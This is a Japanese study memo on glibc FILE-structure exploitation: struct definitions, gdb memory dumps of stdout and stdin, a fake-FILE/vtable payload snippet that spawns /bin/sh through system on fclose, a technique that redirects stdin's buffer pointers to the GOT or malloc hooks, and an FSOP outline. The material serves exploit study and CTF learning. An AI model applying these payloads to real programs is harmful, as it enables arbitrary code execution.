ファイル・ポインタや標準入出力に関連するFILE構造体を利用したexploitテクニックのメモ。
_IO_FILE、_IO_FILE_plus、_IO_jump_tの3つの構造体の定義とメモリーレイアウトをざっくり理解しておく。
- _IO_FILE
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags
/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */
#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
/* char* _save_gptr; char* _save_egptr; */
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
- _IO_FILE_plus
struct _IO_FILE_plus
{
FILE file;
const struct _IO_jump_t *vtable;
};
- _IO_jump_t 関数ポインタのテーブルになっている
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
};
_IO_FILE、_IO_FILE_plus、_IO_jump_tの3つの繋がりはこの図が分かり易い。
各々の_IO_FILEは_IO_list_allから連なるlinked listになっている。
メモリーレイアウトは以下の通り。
- stdoutのFILE構造体メモリーレイアウト
0x7ffff7dd4400 <_IO_2_1_stdout_>: 0x00000000fbad2887 0x00007ffff7dd4483 flags / _IO_read_ptr
0x7ffff7dd4410 <_IO_2_1_stdout_+16>: 0x00007ffff7dd4483 0x00007ffff7dd4483 _IO_read_end / _IO_read_base
0x7ffff7dd4420 <_IO_2_1_stdout_+32>: 0x00007ffff7dd4483 0x00007ffff7dd4483 _IO_write_base / _IO_write_ptr
0x7ffff7dd4430 <_IO_2_1_stdout_+48>: 0x00007ffff7dd4483 0x00007ffff7dd4483 _IO_write_end / _IO_buf_base
0x7ffff7dd4440 <_IO_2_1_stdout_+64>: 0x00007ffff7dd4484 0x0000000000000000 _IO_buf_end / _IO_save_base
0x7ffff7dd4450 <_IO_2_1_stdout_+80>: 0x0000000000000000 0x0000000000000000 _IO_backup_base / _IO_save_end
0x7ffff7dd4460 <_IO_2_1_stdout_+96>: 0x0000000000000000 0x00007ffff7dd4640 *_markers / *_chain 次の_IO_FILE structへのポインタ
0x7ffff7dd4470 <_IO_2_1_stdout_+112>: 0x0000000000000001 0xffffffffffffffff _fileno / ?
0x7ffff7dd4480 <_IO_2_1_stdout_+128>: 0x000000000a000000 0x00007ffff7dd59e0 ? / *_lock
0x7ffff7dd4490 <_IO_2_1_stdout_+144>: 0xffffffffffffffff 0x0000000000000000
0x7ffff7dd44a0 <_IO_2_1_stdout_+160>: 0x00007ffff7dd44e0 0x0000000000000000
0x7ffff7dd44b0 <_IO_2_1_stdout_+176>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd44c0 <_IO_2_1_stdout_+192>: 0x00000000ffffffff 0x0000000000000000
0x7ffff7dd44d0 <_IO_2_1_stdout_+208>: 0x0000000000000000 0x00007ffff7dd26a0 _IO_jump_tへのポインタ
- _IO_jump_tのメモリーレイアウト
0x7ffff7dd26a0 <_IO_file_jumps>: 0x0000000000000000 0x0000000000000000 __dummy / __dummy2
0x7ffff7dd26b0 <_IO_file_jumps+16>: 0x00007ffff7a8ac80 0x00007ffff7a8b6d0
0x7ffff7dd26c0 <_IO_file_jumps+32>: 0x00007ffff7a8b480 0x00007ffff7a8c530
0x7ffff7dd26d0 <_IO_file_jumps+48>: 0x00007ffff7a8d6e0 0x00007ffff7a8a500
0x7ffff7dd26e0 <_IO_file_jumps+64>: 0x00007ffff7a8a210 0x00007ffff7a89870
0x7ffff7dd26f0 <_IO_file_jumps+80>: 0x00007ffff7a8caa0 0x00007ffff7a897e0
0x7ffff7dd2700 <_IO_file_jumps+96>: 0x00007ffff7a89710 0x00007ffff7a7e7b0
0x7ffff7dd2710 <_IO_file_jumps+112>: 0x00007ffff7a8a4e0 0x00007ffff7a89ed0
0x7ffff7dd2720 <_IO_file_jumps+128>: 0x00007ffff7a89cd0 0x00007ffff7a897d0
0x7ffff7dd2730 <_IO_file_jumps+144>: 0x00007ffff7a89ec0 0x00007ffff7a8d840
0x7ffff7dd2740 <_IO_file_jumps+160>: 0x00007ffff7a8d850 0x0000000000000000
- ファイル・ポインタの上書き
ファイル・ポインタを上書きできる場合、FILE構造体を偽装し、_IO_jump_tに任意の関数を仕込んでおくにより、fclose(fp)などが呼ばれた時にその関数を実行できる。下の例では、system("/bin/sh")が実行される。なおFILE構造体のflagsに第一引数(この場合は"/bin/sh¥0")をセットしておくことが可能。
# fake _IO_FILE
buf = "/bin/sh\0"
buf += p(0)*16
buf += p(addr) # *_lock: 有効なアドレスを入れておく、何でもよいわけじゃないらしい
buf += p(0)*9
buf += p(jump_table) # _IO_file_jumpsへのアドレス
# fake _IO_file_jumps
buf += p(0)*2
buf += p(system)*19
- _IO_buf_base/_IO_buf_endの上書き
stdinの_IO_buf_base/_IO_buf_endを上書きできる場合、scanf/fgets/gets等の関数の書き込み先をコントロールできる。 下の例だと0x602000に任意のデータを書き込める。書き込み先をGOTやfree_hook/malloc_hookにしておくことにより、one gadget rceなどを仕込むことができる。
0x7ffff7dd4640 <_IO_2_1_stdin_>: 0x00000000fbad208b 0x00007ffff7dd46c3
0x7ffff7dd4650 <_IO_2_1_stdin_+16>: 0x00007ffff7dd46c3 0x00007ffff7dd46c3
0x7ffff7dd4660 <_IO_2_1_stdin_+32>: 0x00007ffff7dd46c3 0x00007ffff7dd46c3
0x7ffff7dd4670 <_IO_2_1_stdin_+48>: 0x00007ffff7dd46c3 0x0000000000602000 _IO_write_end / _IO_buf_base
0x7ffff7dd4680 <_IO_2_1_stdin_+64>: 0x0000000000602100 0x0000000000000000 _IO_buf_end / _IO_save_base
0x7ffff7dd4690 <_IO_2_1_stdin_+80>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd46a0 <_IO_2_1_stdin_+96>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd46b0 <_IO_2_1_stdin_+112>: 0x0000000000000000 0xffffffffffffffff
0x7ffff7dd46c0 <_IO_2_1_stdin_+128>: 0x0000000000000000 0x00007ffff7dd59f0
0x7ffff7dd46d0 <_IO_2_1_stdin_+144>: 0xffffffffffffffff 0x0000000000000000
0x7ffff7dd46e0 <_IO_2_1_stdin_+160>: 0x00007ffff7dd4720 0x0000000000000000
0x7ffff7dd46f0 <_IO_2_1_stdin_+176>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd4700 <_IO_2_1_stdin_+192>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd4710 <_IO_2_1_stdin_+208>: 0x0000000000000000 0x00007ffff7dd26a0
- FSOP(File Stream Oriented Programming)
angelboy氏の資料に記載のテクニック。
- 事前に_IO_list_allを上書きし、偽のFILE構造体のlinked listに繋いでおく。
- abort()が起きると、_IO_flush_all_lockpにより、_IO_list_allに連なる全てのFILE構造体のjump tableにある__overflowにセットされている関数が実行される。